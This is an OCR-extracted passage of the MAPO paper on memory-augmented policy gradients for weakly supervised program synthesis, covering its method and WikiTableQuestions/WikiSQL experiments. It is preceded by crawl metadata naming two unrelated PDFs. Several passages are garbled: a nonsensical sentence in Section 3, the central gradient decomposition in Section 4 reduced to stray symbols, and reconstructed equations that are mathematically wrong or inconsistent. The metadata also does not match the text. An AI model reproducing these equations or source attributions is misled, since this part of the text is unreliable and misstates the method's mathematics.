{"Source-Url": "http://cs.wellesley.edu/~cs251/spring08/ocaml-data.pdf", "len_cl100k_base": 11517, "olmocr-version": "0.1.53", "pdf-total-pages": 26, "total-fallback-pages": 0, "total-input-tokens": 55201, "total-output-tokens": 13109, "length": "2e13", "weborganizer": {"__label__adult": 0.00032019615173339844, "__label__art_design": 0.0005192756652832031, "__label__crime_law": 0.00024628639221191406, "__label__education_jobs": 0.002613067626953125, "__label__entertainment": 9.47117805480957e-05, "__label__fashion_beauty": 0.00012886524200439453, "__label__finance_business": 0.00015306472778320312, "__label__food_dining": 0.0003736019134521485, "__label__games": 0.0005807876586914062, "__label__hardware": 0.0008883476257324219, "__label__health": 0.0003058910369873047, "__label__history": 0.00027489662170410156, "__label__home_hobbies": 0.00011718273162841796, "__label__industrial": 0.0004572868347167969, "__label__literature": 0.0004000663757324219, "__label__politics": 0.00021278858184814453, "__label__religion": 0.0004978179931640625, "__label__science_tech": 0.0236663818359375, "__label__social_life": 0.00012254714965820312, "__label__software": 0.007144927978515625, "__label__software_dev": 0.9599609375, "__label__sports_fitness": 0.0002114772796630859, "__label__transportation": 0.00046133995056152344, "__label__travel": 0.0001728534698486328}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 40873, 0.02273]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 40873, 0.73832]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 40873, 0.79141]], "google_gemma-3-12b-it_contains_pii": [[0, 2142, false], [2142, 3665, null], [3665, 5786, null], [5786, 8375, null], [8375, 8788, null], [8788, 10051, null], [10051, 10798, null], [10798, 11840, null], [11840, 12731, null], [12731, 13759, null], [13759, 14749, null], [14749, 16586, null], [16586, 18866, null], [18866, 21507, null], [21507, 23295, null], [23295, 25795, null], [25795, 27908, null], [27908, 30258, null], [30258, 31044, null], [31044, 32493, null], [32493, 34675, null], [34675, 36616, null], [36616, 38418, null], [38418, 39153, null], [39153, 39757, null], [39757, 40873, null]], "google_gemma-3-12b-it_is_public_document": [[0, 2142, true], [2142, 3665, null], [3665, 5786, null], [5786, 8375, null], [8375, 8788, null], [8788, 10051, null], [10051, 10798, null], [10798, 11840, null], [11840, 12731, null], [12731, 13759, null], [13759, 14749, null], [14749, 16586, null], [16586, 18866, null], [18866, 21507, null], [21507, 23295, null], [23295, 25795, null], [25795, 27908, null], [27908, 30258, null], [30258, 31044, null], [31044, 32493, null], [32493, 34675, null], [34675, 36616, null], [36616, 38418, null], [38418, 39153, null], [39153, 39757, null], [39757, 40873, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 40873, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 40873, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 40873, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 40873, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, true], [5000, 40873, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 40873, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 40873, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 40873, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 40873, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, true], [5000, 40873, null]], "pdf_page_numbers": [[0, 2142, 1], [2142, 3665, 2], [3665, 5786, 3], [5786, 8375, 4], [8375, 8788, 5], [8788, 10051, 6], [10051, 10798, 7], [10798, 11840, 8], [11840, 12731, 9], [12731, 13759, 10], [13759, 14749, 11], [14749, 16586, 12], [16586, 18866, 13], [18866, 21507, 14], [21507, 23295, 15], [23295, 25795, 16], [25795, 27908, 17], [27908, 30258, 18], [30258, 31044, 19], [31044, 32493, 20], [32493, 34675, 21], [34675, 36616, 22], [36616, 38418, 23], [38418, 39153, 24], [39153, 39757, 25], [39757, 40873, 26]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 40873, 0.04108]]}
olmocr_science_pdfs
2024-12-09
2024-12-09
e8f20ad99e468d8747313eb24aa49176f4ba6ace
[REMOVED]
{"Source-Url": "http://www.umbertostraccia.it/cs/download/papers/JELIA06/JELIA06.pdf", "len_cl100k_base": 13507, "olmocr-version": "0.1.53", "pdf-total-pages": 13, "total-fallback-pages": 0, "total-input-tokens": 58188, "total-output-tokens": 15814, "length": "2e13", "weborganizer": {"__label__adult": 0.0004260540008544922, "__label__art_design": 0.0006647109985351562, "__label__crime_law": 0.0007987022399902344, "__label__education_jobs": 0.00301361083984375, "__label__entertainment": 0.0002560615539550781, "__label__fashion_beauty": 0.00027489662170410156, "__label__finance_business": 0.0008783340454101562, "__label__food_dining": 0.000659942626953125, "__label__games": 0.0014467239379882812, "__label__hardware": 0.0008044242858886719, "__label__health": 0.0009455680847167968, "__label__history": 0.0006165504455566406, "__label__home_hobbies": 0.0001962184906005859, "__label__industrial": 0.0007801055908203125, "__label__literature": 0.0012912750244140625, "__label__politics": 0.0004901885986328125, "__label__religion": 0.0006952285766601562, "__label__science_tech": 0.389404296875, "__label__social_life": 0.00022590160369873047, "__label__software": 0.04150390625, "__label__software_dev": 0.55322265625, "__label__sports_fitness": 0.00026917457580566406, "__label__transportation": 0.0007739067077636719, "__label__travel": 0.00032711029052734375}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 47835, 0.03052]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 47835, 0.55484]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 47835, 0.82522]], "google_gemma-3-12b-it_contains_pii": [[0, 2861, false], [2861, 6058, null], [6058, 8783, null], [8783, 12817, null], [12817, 17095, null], [17095, 20820, null], [20820, 25573, null], [25573, 29292, null], [29292, 33577, null], [33577, 37496, null], [37496, 41157, null], [41157, 44582, null], [44582, 47835, null]], "google_gemma-3-12b-it_is_public_document": [[0, 2861, true], [2861, 6058, null], [6058, 8783, null], [8783, 12817, null], [12817, 17095, null], [17095, 20820, null], [20820, 25573, null], [25573, 29292, null], [29292, 33577, null], [33577, 37496, null], [37496, 41157, null], [41157, 44582, null], [44582, 47835, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 47835, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 47835, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 47835, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 47835, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 47835, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 47835, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 47835, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 47835, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 47835, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 47835, null]], "pdf_page_numbers": [[0, 2861, 1], [2861, 6058, 2], [6058, 8783, 3], [8783, 12817, 4], [12817, 17095, 5], [17095, 20820, 6], [20820, 25573, 7], [25573, 29292, 8], [29292, 33577, 9], [33577, 37496, 10], [37496, 41157, 11], [41157, 44582, 12], [44582, 47835, 13]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 47835, 0.04367]]}
olmocr_science_pdfs
2024-12-10
2024-12-10
f3d05b78d05022454b7e6279ada20f37a9a30c42
Memory Augmented Policy Optimization for Program Synthesis and Semantic Parsing Chen Liang Google Brain crazydonkey200@gmail.com Mohammad Norouzi Google Brain mnorouzi@google.com Jonathan Berant Tel-Aviv University, AI2 joberant@cs.tau.ac.il Quoc Le Google Brain qvl@google.com Ni Lao SayMosaic Inc. ni.lao@mosaix.ai Abstract We present Memory Augmented Policy Optimization (MAPO), a simple and novel way to leverage a memory buffer of promising trajectories to reduce the variance of policy gradient estimate. MAPO is applicable to deterministic environments with discrete actions, such as structured prediction and combinatorial optimization tasks. We express the expected return objective as a weighted sum of two terms: an expectation over the high-reward trajectories inside the memory buffer, and a separate expectation over trajectories outside the buffer. To make an efficient algorithm of MAPO, we propose: (1) memory weight clipping to accelerate and stabilize training; (2) systematic exploration to discover high-reward trajectories; (3) distributed sampling from inside and outside of the memory buffer to scale up training. MAPO improves the sample efficiency and robustness of policy gradient, especially on tasks with sparse rewards. We evaluate MAPO on weakly supervised program synthesis from natural language (semantic parsing). On the WikiTableQuestions benchmark, we improve the state-of-the-art by 2.6%, achieving an accuracy of 46.3%. On the WikiSQL benchmark, MAPO achieves an accuracy of 74.9% with only weak supervision, outperforming several strong baselines with full supervision. Our source code is available at goo.gl/TXBp4e. 1 Introduction There has been a recent surge of interest in applying policy gradient methods to various application domains including program synthesis [26, 17, 68, 10], dialogue generation [25, 11], architecture search [69, 71], game [53, 31] and continuous control [44, 50]. Simple policy gradient methods like REINFORCE [58] use Monte Carlo samples from the current policy to perform an on-policy optimization of the expected return. This often leads to unstable learning dynamics and poor sample efficiency, sometimes even underperforming random search [30]. The difficulty of gradient based policy optimization stems from a few sources: (1) policy gradient estimates have a large variance; (2) samples from a randomly initialized policy often attain small rewards, resulting in a slow training progress in the initial phase (cold start); (3) random policy samples do not explore the search space efficiently and systematically. These issues can be especially prohibitive in applications such as program synthesis and robotics [4] where the search space is large and the rewards are delayed and sparse. In such domains, a high reward is only achieved after a long sequence of correct actions. For instance, in program synthesis, only a few programs in the large combinatorial space of programs may correspond to the correct functional form. Unfortunately, relying on policy samples to explore the space often leads to forgetting a high reward trajectory unless it is re-sampled frequently [26, 3]. Learning through reflection on past experiences (“experience replay”) is a promising direction to improve data efficiency and learning stability. It has recently been widely adopted in various deep RL algorithms, but its theoretical analysis and empirical comparison are still lacking. As a result, defining the optimal strategy for prioritizing and sampling from past experiences remains an open question. There has been various attempts to incorporate off-policy samples within the policy gradient framework to improve the sample efficiency of the REINFORCE and actor-critic algorithms (e.g., [12, 57, 51, 15]). Most of these approaches utilize samples from an old policy through (truncated) importance sampling to obtain a low variance, but biased estimate of the gradients. Previous work has aimed to incorporate a replay buffer into policy gradient in the general RL setting of stochastic dynamics and possibly continuous actions. By contrast, we focus on deterministic environments with discrete actions and develop an unbiased policy gradient estimator with low variance (figure 1). This paper presents MAPO: a simple and novel way to incorporate a memory buffer of promising trajectories within the policy gradient framework. We express the expected return objective as a weighted sum of an expectation over the trajectories inside the memory buffer and a separate expectation over unknown trajectories outside of the buffer. The gradient estimates are unbiased and attain lower variance. Because high-reward trajectories remain in the memory, it is not possible to forget them. To make an efficient algorithm for MAPO, we propose 3 techniques: (1) memory weight clipping to accelerate and stabilize training; (2) systematic exploration of the search space to efficiently discover the high-reward trajectories; (3) distributed sampling from inside and outside of the memory buffer to scale up training. We assess the effectiveness of MAPO on weakly supervised program synthesis from natural language (see Section 2). Program synthesis presents a unique opportunity to study generalization in the context of policy optimization, besides being an important real world application. On the challenging WIKITABLEQUESTIONS [59] benchmark, MAPO achieves an accuracy of 46.3% on the test set, significantly outperforming the previous state-of-the-art of 43.7% [67]. Interestingly, on the WIKISQL [68] benchmark, MAPO achieves an accuracy of 74.9% without the supervision of gold programs, outperforming several strong fully supervised baselines. 2 The Problem of Weakly Supervised Contextual Program Synthesis Consider the problem of learning to map a natural language question $\mathbf{x}$ to a structured query $\mathbf{a}$ in a programming language such as SQL (e.g., [68]), or converting a textual problem description into a piece of source code in programming competitions (e.g., [5]). We call these problems contextual program synthesis and aim at tackling them in a weakly supervised setting — i.e., no correct action sequence $\mathbf{a}$, which corresponds to a gold program, is given as part of the training data, and training needs to solve the hard problem of exploring a large program space. Table 1 shows an example question-answer pair. The model needs to first discover the programs that can generate the correct answer in a given context, and then learn to generalize to new contexts. <table> <thead> <tr> <th>Year</th> <th>Venue</th> <th>Position</th> <th>Event</th> <th>Time</th> </tr> </thead> <tbody> <tr> <td>2001</td> <td>Hungary</td> <td>2nd</td> <td>400m</td> <td>47.12</td> </tr> <tr> <td>2003</td> <td>Finland</td> <td>1st</td> <td>400m</td> <td>46.69</td> </tr> <tr> <td>2005</td> <td>Germany</td> <td>11th</td> <td>400m</td> <td>46.62</td> </tr> <tr> <td>2007</td> <td>Thailand</td> <td>1st</td> <td>relay</td> <td>182.05</td> </tr> <tr> <td>2008</td> <td>China</td> <td>7th</td> <td>relay</td> <td>180.32</td> </tr> </tbody> </table> Table 1: $\mathbf{x}$: Where did the last 1st place finish occur? $\mathbf{y}$: Thailand We formulate the problem of weakly supervised contextual program synthesis as follows: to generate a program by using a parametric function, $\hat{\mathbf{a}} = f(\mathbf{x}; \theta)$, where $\theta$ denotes the model parameters. The quality of a program $\hat{\mathbf{a}}$ is measured by a scoring or reward function $R(\hat{\mathbf{a}} | \mathbf{x}, \mathbf{y})$. The reward function may evaluate a program by executing it on a real environment and comparing the output against the correct answer. For example, it is natural to define a binary reward that is $1$ when the output equals the answer and $0$ otherwise. We assume that the context $\mathbf{x}$ includes both a natural language input and an environment, for example an interpreter or a database, on which the program will be executed. Given a dataset of context-answer pairs, $\{(\mathbf{x}_i, \mathbf{y}_i)\}_{i=1}^N$, the goal is to find optimal parameters $\theta^*$ that parameterize a mapping of $\mathbf{x} \rightarrow \mathbf{a}$ with maximum empirical return on a heldout test set. One can think of the problem of contextual program synthesis as an instance of reinforcement learning (RL) with sparse terminal rewards and deterministic transitions, for which generalization plays a key role. There has been some recent attempts in the RL community to study generalization to unseen initial conditions (e.g., [45, 35]). However, most prior work aims to maximize empirical return on the training environment [6, 9]. The problem of contextual program synthesis presents a natural application of RL for which generalization is the main concern. 3 Optimization of Expected Return via Policy Gradients To learn a mapping of (context x) → (program a), we optimize the parameters of a conditional distribution \( \pi_\theta(a \mid x) \) that assigns a probability to each program given the context. That is, \( \pi_\theta \) is a distribution over the *countable* set of all possible programs, denoted \( \mathcal{A} \). Thus \( \forall a \in \mathcal{A} : \pi_\theta(a \mid x) \geq 0 \) and \( \sum_{a \in \mathcal{A}} \pi_\theta(a \mid x) = 1 \). To synthesize a program for a novel context, \( \pi_\theta \) evaluates a complete program \( (\pi_\theta \mid x)_x \) and the correct answer \( y \). These assumptions characterize the problem of program synthesis well, but they also apply to many other discrete optimization and structured prediction domains. **Simplified notation.** In what follows, we simplify the notation by dropping the dependence of the policy and the reward on \( x \) and \( y \). We use a notation of \( \pi_\theta(a) \) instead of \( \pi_\theta(a \mid x) \) and \( R(a) \) instead of \( R(a \mid x, y) \), to make the formulation less cluttered, but the equations hold in the general case. We express the expected return objective in the simplified notation as, \[ \mathcal{O}_{ER}(\theta) = \sum_{a \in \mathcal{A}} \pi_\theta(a) R(a) = \mathbb{E}_{a \sim \pi_\theta(a)} R(a) . \] The REINFORCE \([58]\) algorithm presents an elegant and convenient way to estimate the gradient of the expected return \([1]\) using Monte Carlo (MC) samples. Using \( K \) trajectories sampled \( i.i.d. \) from the current policy \( \pi_\theta \), denoted \( \{a(1), \ldots, a(K)\} \), the gradient estimate can be expressed as, \[ \nabla_\theta \mathcal{O}_{ER}(\theta) = \mathbb{E}_{a \sim \pi_\theta(a)} \nabla \log \pi_\theta(a) R(a) \approx \frac{1}{K} \sum_{k=1}^{K} \nabla \log \pi_\theta(a(k)) \left[ R(a(k)) - b \right] , \] where a baseline \( b \) is subtracted from the returns to reduce the variance of gradient estimates. This formulation enables direct optimization of \( \mathcal{O}_{ER} \) via MC sampling from an unknown search space, which also serves the purpose of exploration. To improve such exploration behavior, one often includes the entropy of the policy as an additional term inside the objective to prevent early convergence. However, the key limitation of the formulation stems from the difficulty of estimating the gradients accurately only using a few *fresh* samples. 4 MAPO: Memory Augmented Policy Optimization We consider an RL environment with a finite number of discrete actions, deterministic transitions, and deterministic terminal returns. In other words, the set of all possible action trajectories \( \mathcal{A} \) is countable, even though possibly infinite, and re-evaluating the return of a trajectory \( R(a) \) twice results in the same value. These assumptions characterize the problem of program synthesis well, but also apply to many structured prediction problems \([47,37]\) and combinatorial optimization domains (e.g., \([71]\)). To reduce the variance in gradient estimation and prevent forgetting high-reward trajectories, we introduce a memory buffer, which saves a set of promising trajectories denoted \( \mathcal{B} \equiv \{a(i)\}_{i=1}^{M} \). Previous works \([26,2,60]\) utilized a memory buffer by adopting a training objective similar to \[ \mathcal{O}_{AUG}(\theta) = \lambda \mathcal{O}_{ER}(\theta) + (1 - \lambda) \sum_{a \in \mathcal{B}} \log \pi_\theta(a), \] which combines the expected return objective with a maximum likelihood objective over the memory buffer \( \mathcal{B} \). This training objective is not directly optimizing the expected return any more because the second term introduces bias into the gradient. When the trajectories in \( \mathcal{B} \) are not gold trajectories but high-reward trajectories collected during exploration, uniformly maximizing the likelihood of each trajectory in \( B \) could be problematic. For example, in program synthesis, there can sometimes be spurious programs \([40]\) that get the right answer, thus receiving high reward, for a wrong reason, e.g., using \( 2 + 2 \) to answer the question “what is two times two”. Maximizing the likelihood of those high-reward but spurious programs will bias the gradient during training. We aim to utilize the memory buffer in a principled way. Our key insight is that one can re-express the policy gradient as, \[ \pi \] \[ \pi \] \[ \pi \] The policy gradient can be expressed as, \[ \nabla_{\theta} \log \pi_\theta(a) R(a) \] \[ (4) \] where \( A - B \) denotes the set of trajectories not included in the memory buffer, \( \pi_B = \sum_{a \in B} \pi_\theta(a) \) denote the total probability of the trajectories in the buffer, and \( \pi_\theta^+ (a) \) and \( \pi_\theta^- (a) \) denote a normalized probability distribution inside and outside of the buffer, \[ \pi_\theta^+ (a) = \begin{cases} \pi_\theta(a)/\pi_B & \text{if } a \in B \\ 0 & \text{if } a \notin B \end{cases}, \\ \pi_\theta^- (a) = \begin{cases} 0 & \text{if } a \in B \\ \pi_\theta(a)/(1 - \pi_B) & \text{if } a \notin B \end{cases}. \] The policy gradient can be expressed as, \[ \nabla_{\theta} \log \pi_\theta(a) R(a) - \nabla \log \pi_B(a) R(a) + (1 - \pi_B) \nabla \log \pi_B(a) R(a). \] The second expectation can be estimated by sampling from \( \pi_\theta^- (a) \), which can be done through rejection sampling by sampling from \( \pi_\theta(a) \) and rejecting the sample if \( a \in B \). If the memory buffer only contains a small number of trajectories, the first expectation can be computed exactly by enumerating all the trajectories in the buffer. The variance in gradient estimation is reduced because we get an exact estimate of the first expectation while sampling from a smaller stochastic space of measure \( (1 - \pi_B) \). If the memory buffer contains a large number of trajectories, the first expectation can be approximated by sampling. Then, we get a \textit{stratified sampling} estimator of the gradient. The trajectories inside and outside the memory buffer are two mutually exclusive and collectively exhaustive strata, and the variance reduction still holds. The weights for the first and second expectations are \( \pi_B \) and \( 1 - \pi_B \) respectively. We call \( \pi_B \) the \textit{memory weight}. In the following we present 3 techniques to make an efficient algorithm of MAPO. \section{Memory Weight Clipping} Policy gradient methods usually suffer from a cold start problem. A key observation is that a “bad” policy, one that achieves low expected return, will assign small probabilities to the high-reward trajectories, which in turn causes them to be ignored during gradient estimation. So it is hard to improve from a random initialization, \textit{i.e.}, the cold start problem, or to recover from a bad update, \textit{i.e.}, the brittleness problem. Ideally we want to force the policy gradient estimates to pay at least some attention to the high-reward trajectories. Therefore, we adopt a clipping mechanism over the memory weight $\pi_B$, which ensures that the memory weight is greater or equal to $\alpha$, i.e., $\pi_B \geq \alpha$, otherwise clips it to $\alpha$. So the new gradient estimate is, $$ \nabla_\theta C_{ER}(\theta) = \pi_B^c \nabla \log \pi_\theta(a) R(a) + (1 - \pi_B^c) \nabla \log \pi_\theta(a) R(a), $$ (8) where $\pi_B^c = \max(\pi_B, \alpha)$ is the clipped memory weight. At the beginning of training, the clipping is active and introduce a bias, but accelerates and stabilizes training. Once the policy is off the ground, the memory weights are almost never clipped given that they are naturally larger than $\alpha$ and the gradients are not biased any more. See section 5.4 for an empirical analysis of the clipping. ### 4.2 Systematic Exploration To discover high-reward trajectories for the memory buffer $B$, we need to efficiently explore the search space. Exploration using policy samples suffers from repeated samples, which is a waste of computation in deterministic environments. So we propose to use systematic exploration to improve the efficiency. More specifically we keep a set $B^c$ of fully explored partial sequences, which can be efficiently implemented using a bloom filter. Then, we use it to enforce a policy to only take actions that lead to unexplored sequences. Using a bloom filter we can store billions of sequences with only several gigabytes of memory. The pseudo code of this approach is shown in Algorithm 1. We warm start the memory buffer using systematic exploration from random policy as it can be trivially parallelized. In parallel to training, we continue the systematic exploration with the current policy to discover new high reward trajectories. ### 4.3 Distributed Sampling An exact computation of the first expectation of (6) requires an enumeration over the memory buffer. The cost of gradient computation will grow linearly w.r.t the number of trajectories in the buffer, so it can be prohibitively slow when the buffer contains a large number of trajectories. Alternatively, we can approximate the first expectation using sampling. As mentioned above, this can be viewed as stratified sampling and the variance is still reduced. Although the cost of gradient computation now grows linearly w.r.t the number of samples instead of the total number of trajectories in the buffer, the cost of sampling still grows linearly w.r.t the size of the memory buffer because we need to compute the probability of each trajectory with the current model. A key insight is that if the bottleneck is in sampling, the cost can be distributed through an actor-learner architecture similar to [15]. See the Supplemental Material for a figure depicting the actor-learner architecture. The actors each use its model to sample trajectories from inside the memory buffer through renormalization ($\pi_B^c$ in (6)), and uses rejection sampling to pick trajectories from outside the memory ($\pi_B^d$ in (6)). It also computes the weights for these trajectories using the model. These trajectories and their weights are then pushed to a queue of samples. The learner fetches samples from the queue and uses them to compute gradient estimates to update the parameters. By distributing the cost of sampling to a set of actors, the training can be accelerated almost linearly w.r.t the number of actors. In our experiments, we got a $\sim$20 times speedup from distributed sampling with 30 actors. --- **Algorithm 1 Systematic Exploration** **Input:** context $x$, policy $\pi$, fully explored sub-sequences $B^c$, high-reward sequences $B$ **Initialize:** empty sequence $a_{0:t}$ while true do $V = \{a_i \mid a_{0:t-1}a_i \neq B^c\}$ if $V = \emptyset$ then $B^c \leftarrow B^c \cup a_{0:t-1}$ break sample $a_t \sim \pi^v(a_{0:t-1})$ $a_{0:t} \leftarrow a_{0:t-1}a_t$ if $a_t = \text{EOS}$ then if $R(a_{0:t}) > 0$ then $B \leftarrow B \cup a_{0:t}$ $B^c \leftarrow B^c \cup a_{0:t}$ break --- **Algorithm 2 MAPO** **Input:** data $(\{x_i, y_i\})_{i=1}^N$, memories $\{(B_i, B^c_i)\}_{i=1}^N$, constants $\epsilon, \alpha, M$ repeat $\Rightarrow$ for all actors do Initialize training batch $D \leftarrow \emptyset$ Get a batch of inputs $C$ for $(x_i, y_i, B^c_i, B_i) \in C$ do Algorithm 1$(x_i, \pi_{old}, B^c_i, B_i)$ Sample $a_i^+ \sim \pi_{old}$ over $B_i$ $w_i^+ \leftarrow \max(\pi_{old}(B_i), \alpha)$ $D \leftarrow D \cup (a_i^+, R(a_i^+), w_i^+)$ Sample $a_i \sim \pi_{old}$ if $a_i \neq B_i$ then $w_i \leftarrow (1 - w_i^+)$ $D \leftarrow D \cup (a_i, R(a_i), w_i)$ Push $D$ to training queue until converge or early stop repeat $\Rightarrow$ for the learner do Get a batch $D$ from training queue for $(a_i, R(a_i), w_i) \in D$ do $\nabla \theta \leftarrow \nabla \theta + w_i R(a_i) \nabla \log \pi_\theta(a_i)$ update $\theta$ using $\nabla \theta$ $\pi_{old} \leftarrow \pi_{old}$ until converge or early stop Output: final parameters $\theta$ 4.4 Final Algorithm The final training procedure is summarized in Algorithm 2. As mentioned above, we adopt the actor-learner architecture for distributed training. It uses multiple actors to collect training samples asynchronously and one learner for updating the parameters based on the training samples. Each actor interacts with a set of environments to generate new trajectories. For efficiency, an actor uses a stale policy ($\pi_{\text{old}}$), which is often a few steps behind the policy of the learner and will be synchronized periodically. To apply MAPO, each actor also maintains a memory buffer $B_i$ to save the high-reward trajectories. To prepare training samples for the learner, the actor picks $n_b$ samples from inside $B_i$ and also performs rejection sampling with $n_o$ on-policy samples, both according to the actor’s policy $\pi_{\text{old}}$. We then use the actor policy to compute a weight $\max(\pi_{\theta}(B), \alpha)$ for the samples in the memory buffer, and use $1 - \max(\pi_{\theta}(B), \alpha)$ for samples outside of the buffer. These samples are pushed to a queue and the learner reads from the queue to compute gradients and update the parameters. 5 Experiments We evaluate MAPO on two program synthesis from natural language (also known as semantic parsing) benchmarks, WikiTableQuestions and WikiSQL, which requires generating programs to query and process data from tables to answer natural language questions. We first compare MAPO to four common baselines, and ablate systematic exploration and memory weight clipping to show their utility. Then we compare MAPO to the state-of-the-art on these two benchmarks. On WikiTableQuestions, MAPO is the first RL-based approach that significantly outperforms the previous state-of-the-art. On WikiSQL, MAPO trained with weak supervision (question-answer pairs) outperforms several strong models trained with full supervision (question-program pairs). 5.1 Experimental setup Datasets. WikiTableQuestions [39] contains tables extracted from Wikipedia and question-answer pairs about the tables. See Table 1 as an example. There are 2,108 tables and 18,496 question-answer pairs. We follow the construction in [39] for converting a table into a directed graph that can be queried, where rows and cells are converted to graph nodes while column names become labeled directed edges. For the questions, we use string match to identify phrases that appear in the table. We also identify numbers and dates using the CoreNLP annotation released with the dataset. The task is challenging in several aspects. First, the tables are taken from Wikipedia and cover a wide range of topics. Second, at test time, new tables that contain unseen column names appear. Third, the table contents are not normalized as in knowledge-bases like Freebase, so there are noises and ambiguities in the table annotation. Last, the semantics are more complex comparing to previous datasets like WebQuestionsSP [62]. It requires multiple-step reasoning using a large set of functions, including comparisons, superlatives, aggregations, and arithmetic operations [39]. See Supplementary Material A for more details about the functions. WikiSQL [68] is a recently introduced large scale dataset on learning natural language interfaces for databases. The dataset also uses tables extracted from Wikipedia, but is much larger and is annotated with programs (SQL). There are 24,241 tables and 80,654 question-program pairs in the dataset. Comparing to WikiTableQuestions, the semantics are simpler because the SQLs use fewer operators (column selection, aggregation, and conditions). We perform similar preprocessing as for WikiTableQuestions. Most of the state-of-the-art models relies on question-program pairs for supervised training, while we only use the question-answer pairs for weakly supervised training. Model architecture. We adopt the Neural Symbolic Machines framework [26], which combines (1) a neural “programmer”, which is a seq2seq model augmented by a key-variable memory that can translate a natural language utterance to a program as a sequence of tokens, and (2) a symbolic “computer”, which is an Lisp interpreter that implements a domain specific language with built-in functions and provides code assistance by eliminating syntactically or semantically invalid choices. For the Lisp interpreter, we added functions according to [67, 34] for WikiTableQuestions experiments and used the subset of functions equivalent to column selection, aggregation, and conditions for WikiSQL. See the Supplementary Material A for more details about functions used. We implemented the seq2seq model augmented with key-variable memory from [26] in TensorFlow [1]. Some minor differences are: (1) we used a bi-directional LSTM for the encoder; (2) we used two-layer LSTM with skip-connections in both the encoder and decoder. GloVe [43] embeddings are used for the embedding layer in the encoder and also to create embeddings for column names by Figure 2: Comparison of MAPO and 3 baselines’ dev set accuracy curves. Results on WikiTableQuestions is on the left and results on WikiSQL is on the right. The plot is average of 5 runs with a bar of one standard deviation. The horizontal coordinate (training steps) is in log scale. averaging the embeddings of the words in a name. Following [34, 24], we also add a binary feature in each step of the encoder, indicating whether this word is found in the table, and an integer feature for a column name counting how many of the words in the column name appear in the question. For the WikiTableQuestions dataset, we use the CoreNLP annotation of numbers and dates released with the dataset. For the WikiSQL dataset, only numbers are used, so we use a simple parser to identify and parse the numbers in the questions, and the tables are already preprocessed. The tokens of the numbers and dates are anonymized as two special tokens <NUM> and <DATE>. The hidden size of the LSTM is 200. We keep the GloVe embeddings fixed during training, but project it to 200 dimensions using a trainable linear transformation. The same architecture is used for both datasets. Training Details. We first apply systematic exploration using a random policy to discover high-reward programs to warm start the memory buffer of each example. For WikiTableQuestions, we generated 50k programs per example using systematic exploration with pruning rules inspired by the grammars from [67]. We apply 0.2 dropout on both encoder and decoder, and 0.01 entropy regularization [31]. Each batch includes samples from 25 examples. For experiments on WikiSQL, we generated 1k programs per example due to computational constraint. Because the dataset is much larger, we don’t use any regularization. Each batch includes samples from 125 questions. We use distributed sampling for WikiTableQuestions. For WikiSQL, due to computational constraints, we truncate each memory buffer to top 5 and then enumerate all 5 programs for training. For both experiments, the samples outside memory buffer are drawn using rejection sampling from 1 on-policy sample per example. At inference time, we apply beam search of size 5. We evaluate the model periodically on the dev set to select the best model. We apply a distributed actor-learner architecture for training. The actors use CPUs to generate new trajectories and push the samples into a queue. The learner reads batches of data from the queue and uses GPU to accelerate training. We use Adam optimizer for training and the learning rate is $10^{-3}$. All the hyperparameters are tuned on the dev set. 5.2 Comparison to baselines We first compare MAPO against the following baselines using the same neural architecture. - **REINFORCE**: We use on-policy samples to estimate the gradient of expected return as in [2], not utilizing any form of memory buffer. - **MML**: Maximum Marginal Likelihood maximizes the marginal probability of the memory buffer as in $O_{\text{MML}}(\theta) = \frac{1}{N} \sum_{i=1}^{N} \log \sum_{a \in B_i} \pi_\theta(a) = \frac{1}{N} \log \prod_{i=1}^{N} \sum_{a \in B_i} \pi_\theta(a)$. Assuming binary rewards and assuming that the memory buffer contains almost all of the trajectories with a reward of 1, MML optimizes the marginal probability of generating a rewarding program. Note that under these assumptions, expected return can be expressed as $O_{\text{ER}}(\theta) \approx \frac{1}{N} \sum_{i=1}^{N} \sum_{a \in B_i} \pi_\theta(a)$. Comparing the two objectives, we can see that MML maximizes the product of marginal probabilities, whereas expected return maximizes the sum. More discussion of these two objectives can be found in [17, 56, 38]. - **Hard EM**: Expectation-Maximization algorithm is commonly used to optimize the marginal likelihood in the presence of latent variables. Hard EM uses the samples with the highest probability to approximate the gradient to 